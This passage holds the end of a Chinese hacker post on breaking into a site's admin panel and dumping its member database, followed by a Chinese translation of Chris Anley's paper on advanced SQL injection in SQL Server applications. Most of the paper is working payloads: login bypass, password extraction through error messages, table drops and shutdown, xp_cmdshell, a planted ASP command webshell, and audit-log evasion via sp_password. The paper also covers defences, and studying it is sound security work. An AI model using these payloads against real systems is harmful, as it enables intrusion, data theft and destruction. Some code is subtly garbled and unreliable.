经过反覆的爆字段，最后爆到一个xxxadminlogin目录，一看就知道这个目录可能就是我们梦寐以求的管理后台目录！压抑住自己的兴奋！我们继续：
语句：http://http://www.xxxxx.com/down/xxxadminlogin/
显示出登陆入口！ＧＯＯＤ！哈哈，幸运啊！有用户、密码，有登陆ＵＲＬ，还等什么？进去瞧瞧……
XP_DIRTREE存储进程返回的只是目录树，我们无法得到文件树。针对登陆入口在网站根目录下的情况，根本就无从下手，而且相对来说，得到的目录信息要根据人工去猜测判断，所以要通过XP_DIRTREE取得管理后台的登陆入口有着很强判断性，也是非常考个人思维的地方。
再来说说写入ASP木马通过BACKUP得到WEBSHELL或是直接备份当前拥有权限的数据库的办法。写入木马使用臭要饭现成的GETWEBSHELL工具，很容易就得到一个WEBSHELL，为了进一步取得会员资料，直接手工备份整个库到网页目录也是个好的办法！
语句：http://http://www.xxxxx.com/down/list.asp?id=1;declare @a sysname; set @a=db_name();backup database @a to disk='e:webdown.bak';--
去下载吧！亲爱的朋友们！嘿嘿。
本文介绍是一种变异写表方法，没有多少技术含量，只是给大家提供一种构造语句的思路。本文针对网站连接权限不是数据库服务器角色组的成员，能为注入所利用的内置扩展存储进程并不多，扩展的存储进程涉及权限比较高的用户才能访问，所以说一个安全的网站与管理者对权限结构的合理分配是密不可分的，你注意到了吗？

SQL Server 应用程序中的高级 SQL 注入

日期：2004 年 10 月 26 日 作者：热点网络学院

SQL Server应用程序中的高级SQL注入
作者：Chris Anley[chris@ngssoftware.com]
An NGSSoftware Insight Security Research(NISR) Publication
翻译：青野志狼（panderlang）
来源：狼族在线http://www.panderlang.com/)

第一次翻译，水平有限，难免有错，请不吝指正。转载请保留信息完整。

摘要：
这份文档是详细讨论 SQL 注入技术，它适应于比较流行的 IIS+ASP+SQLSERVER 平台。它讨论了哪些 SQL 语句能通过各种各样的方法注入到应用程序中，并且记录与攻击相关的数据确认和数据库锁定。

这份文档的预期读者为与数据库通信的 WEB 程序的开发者和那些扮演审核 WEB 应用程序的安全专家。

介绍：
SQL 是一种用于关系数据库的结构化查询语言。它分为许多种，但大多数都松散地基于美国国家标准化组织最新的标准 SQL-92。典型的执行语句是 query，它能够收集比较有达标性的记录并返回一个单一的结果集。SQL 语言可以修改数据库结构（数据定义语言）和操作数据库内容（数据操作语言）。在这份文档中，我们将特别讨论 SQLSERVER 所使用的 Transact-SQL 语言。
当一个攻击者能够通过往 query 中插入一系列的 sql 语句来操作数据写入到应用程序中去，我们管这种方法定义成 SQL 注入。

一个典型的 SQL 语句如下：
Select id,forename,surname from authors
这条语句将返回 authors 表中所有行的 id，forename 和 surname 列。这个结果可以被限制，例如：
Select id,forename,surname from authors where forename'john' and surname='smith'
需要着重指明的是字符串'john'和'smith'被单引号限制。明确的说，forename 和 surname 字段是被用户提供的输入限制的，攻击者可以通过输入值来往这个查询中注入一些 SQL 语句，
如下：
Forename：jo'hn
Surname：smith
查询语句变为：
Select id,forename,surname from authors where forename='jo'hn' and surname='smith'
当数据库试图去执行这个查询时，它将返回如下错误：
Server：Msg 170, Level 15, State 1, Line 1
Line 1：Incorrect syntax near 'hn'
造成这种结果的原因是插入了.作为定界符的单引号。数据库尝试去执行'hn'，但是失败。如果攻击者提供特别的输入如：
Forename：jo';drop table authors—
Surname：
结果是 authors 表被删除，造成这种结果的原因我们稍后再讲。

看上去好象通过从输入中去掉单引号或者通过某些方法避免它们都可以解决这个问题。这是可行的，但是用这种方法做解决方法会存在几个困难。第一，并不是所有用户提供的数据都是字符串。如果用户输入的是通过用户 id 来查询 author，那我们的查询应该像这样：
Select id,forename,surname from authors where id=1234
在这种情况下，一个攻击者可以非常简单地在数字的结尾添加 SQL 语句，在其

他版本的 SQL 语言中，使用各种各样的限定符号；在数据库管理系统 JET 引擎中，数据可以被使用'#'限定。第二，避免单引号尽管看上去可以，但是是没必要的，原因我们稍后再讲。

我们更进一步地使用一个简单的 ASP 登陆页面来指出哪些能进入 SQLSERVER 数据库并且尝试鉴别进入一些虚构的应用程序的权限。
这是一个提交表单页的代码，让用户输入用户名和密码：

```
<HTML>
<HEAD>
<TITLE>Login Page</TITLE>
</HEAD>

<BODY bgcolor='000000' text='cccccc'>
<FONT Face='tahoma' color='cccccc'>
<CENTER><H1>Login</H1>
<FORM action='process_loginasp' method=post>
<TABLE>
<TR><TD>Username：</TD><TD><INPUT type=text name=username size=100
width=100></TD></TR>
<TR><TD>Password：</TD><TD><INPUT type=password name=password
size=100 withd=100></TD></TR>
</TABLE>
<INPUT type=submit value='Submit'><INPUT type=reset value='Reset'>
</FORM>
</Font>
</BODY>
</HTML>
```

下面是process_login.asp的代码，它是用来控制登陆的：

```
<HTML>
<BODY bgcolor='000000' text='ffffff'>
<FONT Face='tahoma' color='ffffff'>
<STYLE>
p { font-size=20pt ! important}
font { font-size=20pt ! important}
h1 { font-size=64pt ! important}
</STYLE>
<%@LANGUAGE = Jscripq %>
<%
function trace( str ) {
if( Request.form("debug") == "true" )
Response.write( str );
}
function Login( cn ) {
var username;
var password;
```

```
username = Request.form("username");
password = Request.form("password");
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "' and password = '"
+ password + "'"; trace( "query: " + sql );
rso.open( sql, cn );
if (rso.EOF) {
rso.close();
%>
<FONT Face='tahoma' color='cc0000'>
<H1> <BR><BR>
<CENTER>ACCESS DENIED</CENTER>
</H1>
</BODY>
</HTML>
<% Response.end return; }
else {
Session("username") = "" + rso("username");
%>
<FONT Face='tahoma' color='00cc00'>
<H1> <CENTER>ACCESS GRANTED<BR> <BR>
Welcome, <% Response.write(rso("Username"));
Response.write( "</BODY></HTML>" ); Response.end }
}
function Main() { //Set up connection
var username
var cn = Server.createobject( "ADODB.Connection" );
cn.connectiontimeout = 20;
cn.open( "localserver", "sa", "password" );
username = new String( Request.form("username") );
if( username.length > 0) {
Login( cn );
}
cn.close();
}
Main();
%>
```

出现问题的地方是process_lgin.asp中产生查询语句的部分：

```
Var sql="select * from users where username='"+username+"' and
password='"+password+"'";
```

如果用户输入的信息如下：

Username：';drop table users—

Password：

数据库中表users将被删除，拒绝任何用户进入应用程序。'—'符号在Transact-SQL

中表示忽略'—'以后的语句，';'符号表示一个查询的结束和另一个查询的开始。'—'位于username字段中是必须的，它为了使这个特殊的查询终止，并且不返回错误。

攻击者可以只需提供他们知道的用户名，就可以以任何用户登陆，使用如下输入：
Username：admin'—
攻击者可以使用 users 表中第一个用户，输入如下：
Username：' or 1=1—
更特别地，攻击者可以使用完全虚构的用户登陆，输入如下：
Username：' union select 1,'fictional_user','some_password',1—
这种结果的原因是应用程序相信攻击者指定的是从数据库中返回结果的一部分。

通过错误消息获得信息
这个几乎是 David Litchfield 首先发现的，并且通过作者渗透测试的；后来 David 写了一份文档，后来作者参考了这份文档。这些解释讨论了‘错误消息‘潜在的机制，使读者能够完全地了解它，潜在地引发他们的能力。

为了操作数据库中的数据，攻击者必须确定某些数据库和某些表的结构。例如我们可以使用如下语句创建 user 表：
Create talbe users(
Id int,
Username varchar(255),
Password varchar(255),
Privs int
)
然后将下面的用户插入到 users 表中：
Insert into users values(0,'admin','r00tr0x!',0xffff)
Insert into users values(0,'guest','guest',0x0000)
Insert into users values(0,'chris','password',0x00ff)
Insert into users values(0,'fred','sesame',0x00ff)
如果我们的攻击者想插入一个自己的用户。在不知道 users 表结构的情况下，他不可能成功。即使他比较幸运，至于 privs 字段不清楚。攻击者可能插入一个'1'，这样只给他自己一个低权限的用户。
幸运地，如果从应用程序（默认为 ASP 行为）返回错误消息，那么攻击者可以确定整个数据库的结构，并且可以以程序中连接 SQLSERVER 的权限度曲任何值。
（下面以一个简单的数据库和 asp 脚本来举例说明他们是怎么工作的）
首先，攻击者想获得建立用户的表的名字和字段的名字，要做这些，攻击者需要使用 select 语法的 having 子句：
Username：' having 1=1—
这样将会出现如下错误：
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/process_login.asp, line 35

因此现在攻击者知道了表的名字和第一个地段的名字。他们仍然可以通过把字段放到 group by 子句只能感去找到一个一个字段名，如下：
Username：' group by users.id having 1=1—
出现的错误如下：
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/process_login.asp, line 35
最终攻击者得到了 username 字段后：
‘ group by users.id,users.username,users.password,users.privs having 1=1—
这句话并不产生错误，相当于：
select * from users where username=''
因此攻击者现在知道查询涉及 users 表，按顺序使用列 'id,username,password,privs'。
能够确定每个列的类型是非常有用的。这可以通过使用类型转化来实现，例如：
Username：' union select sum(username) from users—
这利用了 SQLSERVER 在确定两个结果集的字段是否相等前应用 sum 子句。尝试去计算 sum 会得到以下消息：
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35
这告诉了我们'username'字段的类型是 varchar。如果是另一种情况，我们尝试去计算 sum()的是数字类型，我们得到的错误消息告诉我们两个集合的字段数量不相等。
Username：' union select sum(id) from users—
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
/process_login.asp, line 35
我们可以用这种技术近似地确定数据库中任何表中的任何字段的类型。
这样攻击者就可以写一个好的 insert 查询，例如：
Username：';insert into users values(666,'attacker','foobar','0xffff)—
这种技术的潜在影响不仅仅是这些。攻击者可以利用这些错误消息显示环境信息或数据库。通过运行一列一定格式的字符串可以获得标准的错误消息：
select * from master ..sysmessages
解释这些将实现有趣的消息。

一个特别有用的消息关系到类型转化。如果你尝试将一个字符串转化成一个整型数字，那么字符串的所有内容会返回到错误消息中。例如在我们简单的登陆页面中，在 username 后面会显示出 SQLSERVER 的版本和所运行的操作系统信息：

Username：' union select @@version,1,1,1—
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of data type int.
/process_login.asp, line 35
这句尝试去将内置的'@@version'常量转化成一个整型数字，因为users表中的第一列是整型数字。

这种技术可以用来读取数据库中任何表的任何值。自从攻击者对用户名和用户密码比较感兴趣后，他们比较喜欢去从 users 表中读取用户名，例如：
Username：' union select min(username),1,1,1 from users where username>'a'—
这句选择 users 表中 username 大于'a'中的最小值，并试图把它转化成一个整型数字：
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin' to a column of data type int.
/process_login.asp, line 35
因此攻击者已经知道用户 admin 是存在的。这样他就可以重复通过使用 where 子句和查询到的用户名去寻找下一个用户。
Username：' union select min(username),1,1,1 from users where username>'admin'—
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'chris' to a column of data type int.
/process_login.asp, line 35
一旦攻击者确定了用户名，他就可以开始收集密码：
Username：' union select password,1,1,1 from users where username='admin'—
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'r00tr0x!' to a column of data type int.
/process_login.asp, line 35

一个更高级的技术是将所有用户名和密码连接长一个单独的字符串，然后尝试把它转化成整型数字。这个例子指出：Transavt-SQL 语法能够在不改变相同的行的意思的情况下把它们连接起来。下面的脚本将把值连接起来：

```
begin declare @ret varchar(8000)
set @ret=':'
select @ret=@ret+' '+username+'/'+password from users where
username>@ret
select @ret as ret into foo
```

end
攻击者使用这个当作用户名登陆（都在一行）
Username: '; begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+'
'+username+'/'+password from users where username>@ret select @ret as ret into foo
end—
这就创建了一个 foo 表，里面只有一个单独的列'ret'，里面存放着我们得到的用户名和密码的字符串。正常情况下，一个低权限的用户能够在同一个数据库中创建表，或者创建临时数据库。
然后攻击者就可以取得我们要得到的字符串：
Username：' union select ret,1,1,1 from foo—
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ': admin/r00tr0x! guest/guest chris/password fred/sesame' to a column of data type int.
/process_login.asp, line 35
然后丢弃（删除）表来清楚脚印：
Username：'; drop table foo—
这个例子仅仅是这种技术的一个表面的作用。没必要说，如果攻击者能够从数据库中获得足够的错误西，他们的工作就变的无限简单。

获得更高的权限
一旦攻击者控制了数据库，他们就想利用那个权限去获得网络上更高的控制权。这可以通过许多途径来达到：
1. 在数据库服务器上，以 SQLSERVER 权限利用 xp_cmdshell 扩展存储过程执行命令。
2. 利用 xp_regread 扩展存储过程去读注册表的键值，当然包括 SAM 键（前提是 SQLSERVER 是以系统权限运行的）
3. 利用其他存储过程去改变服务器
4. 在连接的服务器上执行查询
5. 创建客户扩展存储过程去在 SQLSERVER 进程中执行溢出代码
6. 使用'bulk insert'语法去读服务器上的任意文件
7. 使用 bcp 在服务器上建立任意的文本格式的文件
8. 使用 sp_OACreate,sp_OAMethod 和 sp_OAGetProperty 系统存储过程去创建 ActiveX 应用程序，使它能做任何 ASP 脚本可以做的事情

这些只列举了非常普通的可能攻击方法的少量，攻击者很可能使用其它方法。我们介绍收集到的攻击关于 SQL 服务器的明显攻击方法，为了说明哪方面可能并被授予权限去注入 SQL.。我们将依次处理以上提到的各种方法：

[xp_cmdshell]
许多存储过程被创建在 SQLSERVER 中，执行各种各样的功能，例如发送电子邮件和与注册表交互。
Xp_cmdshell 是一个允许执行任意的命令行命令的内置的存储过程。例如：
Exec master..xp_cmdshell 'dir'

将获得 SQLSERVER 进程的当前工作目录中的目录列表。
Exec master..xp_cmdshell 'net user'
将提供服务器上所有用户的列表。当 SQLSERVER 正常以系统帐户或域帐户运行时，攻击者可以做出更严重的危害。

[xp_regread]
另一个有用的内置存储过程是 xp_regXXXX 类的函数集合。
Xp_regaddmultistring
Xp_regdeletekey
Xp_regdeletevalue
Xp_regenumkeys
Xp_regenumvalues
Xp_regread
Xp_regremovemultistring
Xp_regwrite

这些函数的使用方法举例如下：
exec xp_regread
HKEY_LOCAL_MACHINE,'SYSTEMCurrentControlSetServiceslanmanserverparameters', 'nullsessionshares'
这将确定什么样的会话连接在服务器上是可以使用的

exec xp_regenumvalues
HKEY_LOCAL_MACHINE,'SYSTEMCurrentControlSetServicessnmpparametersvalidcommunities'
这将显示服务器上所有 SNMP 团体配置。在 SNMP 团体很少被更改和在许多主机间共享的情况下，有了这些信息，攻击者或许会重新配置同一网络中的网络设备。

这很容易想象到一个攻击者可以利用这些函数读取 SAM，修改系统服务的配置，使它下次机器重启时启动，或在下次任何用户登陆时执行一条任意的命令。

[其他存储过程]
xp_servicecontrol 过程允许用户启动，停止，暂停和继续服务：
exec master..xp_servicecontrol 'start','schedule'
exec master..xp_servicecontrol 'start','server'
下表中列出了少量的其他有用的存储过程：
Xp_availablemedia 显示机器上有用的驱动器
Xp_dirtree 允许获得一个目录树
Xp_enumdsn 列举服务器上的 ODBC 数据源
Xp_loginconfig Reveals information about the security mode of the server
Xp_makecab 允许用户在服务器上创建一个压缩文件
Xp_ntsec_enumdomains 列举服务器可以进入的域
Xp_terminate_process 提供进程的进程 ID，终止此进程

[Linked Servers]
SQL SERVER 提供了一种允许服务器连接的机制，也就是说允许一台数据库服务器上的查询能够操作另一台服务器上的数据。这个链接存放在 master.sysservers 表中。如果一个连接的服务器已经被设置成使用 'sp_addlinkedsrvlogin'过程，当前可信的连接不用登陆就可以访问到服务器。'openquery'函数允许查询脱离服务器也可以执行。

[Custom extended stored procedures]
扩展存储过程应用程序接口是相当简单的，创建一个携带恶意代码的扩展存储过程动态连接库是一个相当简单的任务。使用命令行有几个方法可以上传动态连接库到 SQL 服务器上，还有其它包括了多种自动通讯的通讯机制，比如 HTTP 下载和 FTP 脚本。
一旦动态连接库文件在机器上运行即 SQL 服务器能够被访问——这不需要它自己是 SQL 服务器——攻击者就能够使用下面的命令添加扩展存储过程（这种情况下，我们的恶意存储过程就是一个能输出服务器的系统文件的小的木马）：

Sp_addextendedproc 'xp_webserver','c:tempxp_foo.dll'
在正常的方式下，这个扩展存储过程可以被运行：
exec xp_webserver
一旦这个程序被运行，可以使用下面的方法将它除去：
xp_dropextendedproc 'xp_webserver'

[将文本文件导入表]
使用'bulk insert'语法可以将一个文本文件插入到一个临时表中。简单地创建这个表：
create table foo(line varchar(8000))
然后执行 bulk insert 操作把文件中的数据插入到表中，如：
bulk insert foo from 'c:inetpubwwwrootprocess_login.asp'

可以使用上述的错误消息技术，或者使用'union'选择，使文本文件中的数据与应用程序正常返回的数据结合，将数据取回。这个用来获取存放在数据库服务器上的脚本源代码或者 ASP 脚本代码是非常有用的。

[使用 bcp 建立文本文件]
使用'bulk insert'的相对技术可以很容易建立任意的文本文件。不幸的是这需要命令行工具。'bcp',即'bulk copy program'
既然 bcp 可以从 SQL 服务进程外访问数据库，它需要登陆。这代表获得权限不是很困难，既然攻击者能建立，或者利用整体安全机制(如果服务器配置成可以使用它)。

命令行格式如下：
bcp "select * from text..foo" queryout c:inetpubwwwrootruncommand.asp –c
-Slocalhost –Usa –Pfoobar
'S'参数为执行查询的服务器，'U'参数为用户名，'P'参数为密码，这里为'foobar'

[ActiveX automation scripqs in SQL SERVER]
SQL SERVER 中提供了几个内置的允许创建 ActiveX 自动执行脚本的存储过程。这些脚本和运行在 windows 脚本解释器下的脚本，或者 ASP 脚本程序一样——他们使用 VBscripq 或 j 书写，他们创建自动执行对象并和它们交互。一个自动执行脚本使用这种方法书写可以在 Transact-SQL 中做任何在 ASP 脚本中，或者 WSH 脚本中可以做的任何事情。为了阐明这鞋，这里提供了几个例子：

（1）这个例子使用'wscripq.shell'对象建立了一个记事本的实例：

```
wscripq.shell example
declare @o int
exec sp_oacreate 'wscripq.shell',@o out
exec sp_oamethod @o,'run',NULL,'notepad.exe'
```

我们可以通过指定在用户名后面来执行它：

```
Username：'; declare @o int exec sp_oacreate 'wscripq.shell',@o out exec
sp_oamethod @o,'run',NULL,'notepad.exe'—
```

(2)这个例子使用'scripqing.filesystemobject'对象读一个已知的文本文件：

```
--scripqing.filesystemobject example – read a known file
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripqing.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'c:boot.ini', 1
exec @ret=sp_oamethod @f,'readline',@line out
while(@ret=0)
begin
print @line
exec @ret=sp_oamethod @f,'readline',@line out
end
```

(3)这个例子创建了一个能执行通过提交到的任何命令：

```
-- scripqing.filesystemobject example – create a 'run this'.asp file
declare @o int,@f int,@t int,@ret int
exec sp_oacreate 'scripqing.filesystemobject',@o out
exec sp_oamethod @o,'createtextfile',@f out,'c:inetpubwwwrootfoo.asp',1
exec @ret=sp_oamethod @f,'writeline',NULL,'<% set
o=server.createobject("wscripq.shell"):o.run(request.querystring("cmd")) %>'
```

需要指出的是如果运行的环境是 WIN NT4+IIS4 平台上，那么通过这个程序运行的命令是以系统权限运行的。在 IIS5 中，它以一个比较低的权限 IWAM_XXXaccount 运行。

(4)这些例子阐述了这个技术的适用性；它可以使用'speech.voicetext'对象引起 SQL SERVER 发声：

```
declare @o int,@ret int
exec sp_oacreate 'speech.voicetext',@o out
exec sp_oamethod @o,'register',NULL,'foo','bar'
```

exec sp_oasetproperty @o,'speed',150
exec sp_oamethod @o,'speak',NULL,'all your sequel servers are belong to,us',528
waitfor delay '00:00:05'
我们可以在我们假定的例子中，通过指定在用户名后面来执行它（注意这个例子不仅仅是注入一个脚本，同时以 admin 权限登陆到应用程序）：
Username：admin';declare @o int,@ret int exec sp_oacreate 'speech.voicetext',@o out exec sp_oamethod @o,'register',NULL,'foo','bar' exec sp_oasetproperty @o,'speed',150 exec sp_oamethod @o,'speak',NULL,'all your sequel servers are belong to us',528 waitfor delay '00:00:05'--

[存储过程]
传说如果一个 ASP 应用程序在数据库中使用了存储过程，那么 SQL 注入是不可能的。这句话只对了一半，这要看 ASP 脚本中调用这个存储过程的方式。
本质上，如果一个有参数的查询被执行 ，并且用户提供的参数通过安全检查才放入到查询中，那么 SQL 注入明显是不可能发生的。但是如果攻击者努力影响所执行查询语句的非数据部分，这样他们就可能能够控制数据库。
比较好的常规的标准是：
?如果一个 ASP 脚本能够产生一个被提交的 SQL 查询字符串，即使它使用了存储过程也是能够引起 SQL 注入的弱点。
?如果一个 ASP 脚本使用一个过程对象限制参数的往存储过程中分配(例如 ADO 的用于参数收集的 command 对象），那么通过这个对象的执行，它一般是安全的。
明显地，既然新的攻击技术始终地被发现，好的惯例仍然是验证用户所有的输入。

为了阐明存储过程的查询注入，执行以下语句：
sp_who '1' select * from sysobjects
or
sp_who '1';select * from sysobjects
任何一种方法，在存储过程后，追加的查询依然会执行。

[高级 SQL 注入]
通常情况下，一个 web 应用程序将会过滤单引号（或其他符号），或者限定用户提交的数据的长度。
在这部分，我们讨论一些能帮助攻击者饶过那些明显防范 SQL 注入，躲避被记录的技术。

[没有单引号的字符串]
有时候开发人员会通过过滤所有的单引号来保护应用程序，他们可能使用 VBscripq 中的 replace 函数或类似：
function escape(input)
input=replace(input,"'","''")
escape=input
end function
无可否认地这防止了我们所有例子的攻击，再除去';'符号也可以帮很多忙。但是在一个大型的应用程序中，好象个别值期望用户输入的是数字。这些值没有被限

定，因此为攻击者提供了一个 SQL 注入的弱点。
如果攻击者想不使用单引号产生一个字符串值，他可以使用 char 函数，例如：
insert into users values(666,
char(0x63)+char(0x68)+char(0x72)+char90x69)+char(0x73),
char(0x63)+char(0x68)+char(0x72)+char90x69)+char(0x73),
0xffff)
这就是一个能够往表中插入字符串的不包含单引号的查询。
淡然，如果攻击者不介意使用一个数字用户名和密码，下面的语句也同样会起作用：
insert into users values(667,
123,
123,
oxffff)
SQL SERVER 自动地将整型转化为 varchar 型的值。

[Second-Order SQL Injection]
即使应用程序总是过滤单引号，攻击者依然能够注入 SQL 同样通过应用程序使数据库中的数据重复使用。
例如，攻击者可能利用下面的信息在应用程序中注册：
Username：admin'—
Password：password
应用程序正确过滤了单引号，返回了一个类似这样的 insert 语句：
insert into users values(123,'admin"—','password',0xffff)
我们假设应用程序允许用户修改自己的密码。这个 ASP 脚本程序首先保证用户设置新密码前拥有正确的旧密码。代码如下：
username = escape(Request.form("username"));
oldpassword = escape(Request.form("oldpassword"));
newpassword = escape(Request.form("newpassword"));
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "' and password = '" + oldpassword + "'";
rso.open(sql, cn);
if (rso.EOF)
{
…
设置新密码的代码如下：
sql = "update users set password = '" + newpassword + "' where username = '" + rso("username") + "'"
rso("username")为登陆查询中返回的用户名
当 username 为 admin'—时，查询语句为：
update users set password = 'password' where username='admin'—'
这样攻击者可以通过注册一个 admin'—的用户来根据自己的想法来设置 admin 的密码。
这是一个非常严重的问题，目前在大型的应用程序中试图去过滤数据。最好的解

决方法是拒绝非法输入，这胜于简单地努力去修改它。这有时会导致一个问题，非法的字符在那里是必要的，例如在用户名中包含'符号，例如
O'Brien
从一个安全的观点来看，最好的解答是但引号不允许存在是一个简单的事实。如果这是无法接受的话，他们仍然要被过滤；在这种情况下，保证所有进入 SQL 查询的数据都是正确的是最好的方法。
如果攻击者不使用任何应用程序莫名其妙地往系统中插入数据，这种方式的攻击也是可能的。应用程序可能有 email 接口，或者可能在数据库中可以存储错误日志，这样攻击者可以努力控制它。验证所有数据，包括数据库中已经存在的数据始终是个好的方法。确认函数将被简单地调用，例如：
if(not isValid("email",request.querystring("email"))) then
response.end
或者类似的方法。

[长度限制]
为了给攻击者更多的困难，有时输入数据的长度是被限制的。当这个阻碍了攻击时，一个小的 SQL 可以造成很严重的危害。例如：
Username：';shutdown—
这样只用 12 个输入字符就将停止 SQL SERVER 实例。另一个例子是：
drop table <tablename>
如果限定长度是在过滤字符串后应用将会引发另一个问题。假设用户名被限定 16 个字符，密码也被限定 16 个字符，那么下面的用户名和密码结合将会执行上面提到的 shutdown 命令：
Username：aaaaaaaaaaaaaaa'
Password：'; shutdown—
原因是应用程序尝试去过滤用户名最后的单引号，但是字符串被切断成 16 个字符，删除了过滤后的一个单引号。这样的结果就是如果密码字段以单引号开始，它可以包含一些 SQL 语句。既然这样查询看上去是：
select * from users where username='aaaaaaaaaaaaaaa" and password="';shutdown—
实际上，查询中的用户名已经变为：
aaaaaaaaaaaaaaa' and password='
因此最后的 SQL 语句会被执行。

[审计]
SQL SERVER 包含了丰富的允许记录数据库中的各种事件的审计接口，它包含在 sp_traceXXX 类的函数中。特别有意思的是能够记录所有 SQL 语句，然后在服务器上执行的 T-SQL 的事件。如果这种审计是被激活的，我们讨论的所有注入的 SQL 查询都将被记录在数据库中，一个熟练的数据库管理员将能够知道发生了什么事。不幸地，如果攻击者追加以下字符串：
Sp_password
到一个 Transact-SQL 语句中，这个审计机制记录日志如下：
--'sp_password' was found in the text of this event.
-- The text has been replaced with this comment for security reasons.
这种行为发生在所有的 T-SQL 日记记录中，即使'sp_password'发生在一个注释

中。这个过程打算通过 sp_password 隐藏用户的密码，但这对于一个攻击者来说是非常有用的方法。
因此，为了隐藏所有注入，攻击者需要简单地在'—'注释字符后追加 sp_password，例如：
Username：admin'—sp_password
事实上一些被执行的 SQL 将被记录，但是查询本身将顺利地从日志中消失。

[防范]
这部分讨论针对记述的攻击的一些防范。我们将讨论输入确认和提供一些简单的代码，然后我们将从事 SQL SERVER 锁定。

[输入验证]
输入验证是一个复杂的题目。比较有代表性的是，自从过于严密地确认倾向于引起部分应用程序的暂停，输入确认问题很难被解决，在项目开发中投入很少的注意力在输入确认上。输入确认不是倾向于将它加入到应用程序的功能当中，因此它一般会被忽视。
下面是一个含有简单代码的讨论输入确认的大纲。这个简单的代码不能直接用于应用程序中，但是它十分清晰地阐明了不同的策略。
不同的数据确认方法可以按以下分类：
1） 努力修改数据使它成为正确的
2） 拒绝被认为是错误的输入
3） 只接收被认为是正确的输入
第一种情况有一些概念上的问题；首先，开发人员没必要知道那些是错误数据，因为新的错误数据的形式始终被发现。其次，修改数据会引起上面描述过的数据的长度问题。最后，二次使用的问题包括系统中已经存在数据的重新使用。
第二种情况也存在第一种情况中的问题；已知的错误输入随着攻击技术的发展变化。
第三种情况可能是三种中最好的，但是很难实现。
从安全角度看合并第二种方法和第三种方法可能是最好的方法——只允许正确的输入，然后搜索输入中已知的错误数据。
带有连接符号的姓名的问题对于体现合并两种方法的必要性是一个好的例子：
Quentin Bassington-Bassington
我们必须在正确输入中允许连接符号，但是我们也意识到字符序列'—'对 SQL SERVER 很重要。
当合并修改数据和字符序列确认时，会出现另一个问题。例如，如果我们应用一个错误过滤在除去单引号之后去探测'—'，'select'和'union'，攻击者可以输入：
uni'on sel'ect @@version-'-
既然单引号被除去，攻击者可以简单地散布单引号在自己的错误的字符串中躲避被发现。
这有一些确认代码的例子：
方法一——过滤单引号
```
function escape(input)
input=replace(input,"'","''")
escape=input
end function
```

方法二——拒绝已知的错误输入

```
function validate_string(input)
known_bad=array("select","insert","update","delete","drop","—","""")
validate_string=true
for i=lbound(known_bad) to ubound(known_bad)
if(instr(1,input,known_bad(i),vbtextcompare)<>0) then
validate_string=false
exit function
end if
next
end function
```

方法三——只允许正确的输入

```
function validatepassword(input)
good_password_chars=”
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
”
validatepassword=true
for i=1 to len(input)
c=mid(input,I,1)
if(InStr(good_password_chars,c)=0) then
validatepassword=false
exit function
end if
next
end function
```

[SQL SERVER 锁定]

在这指出的重要一点是锁定 SQL SERVER 是必要的；外面的是不安全的。这是一个但创建 SQL SERVER 时需要做的事情的简短的列表：

1.确定连接服务器的方法

a.确定你所使用的网络库是可用的，那么使用"Network Utility"

2.确定哪些帐户是存在的

a.为应用程序的使用创建一个低权限的帐户

b.删除不必要的帐户

c.确定所有帐户有强壮的密码；执行密码审计

3.确定哪些对象存在

a.许多扩展存储过程能被安全地移除。如果这样做了，应该移除包含在扩展存储过程代码中的'.dll'文件

b.移除所有示例数据库——例如'northwind'和'pubs'数据库

4.确定哪写帐户能过使用哪些对象

a.应用程序进入数据库所使用的帐户应该有保证能够使用它需要的对象的最小权限

5.确定服务器的补丁

a.针对 SQL SERVER 有一些缓冲区溢出和格式化字符串攻击，也有一些其他的安全补丁发布。应该存在很多。
6.确定什么应该被日志记录，什么应该在日志中结束。

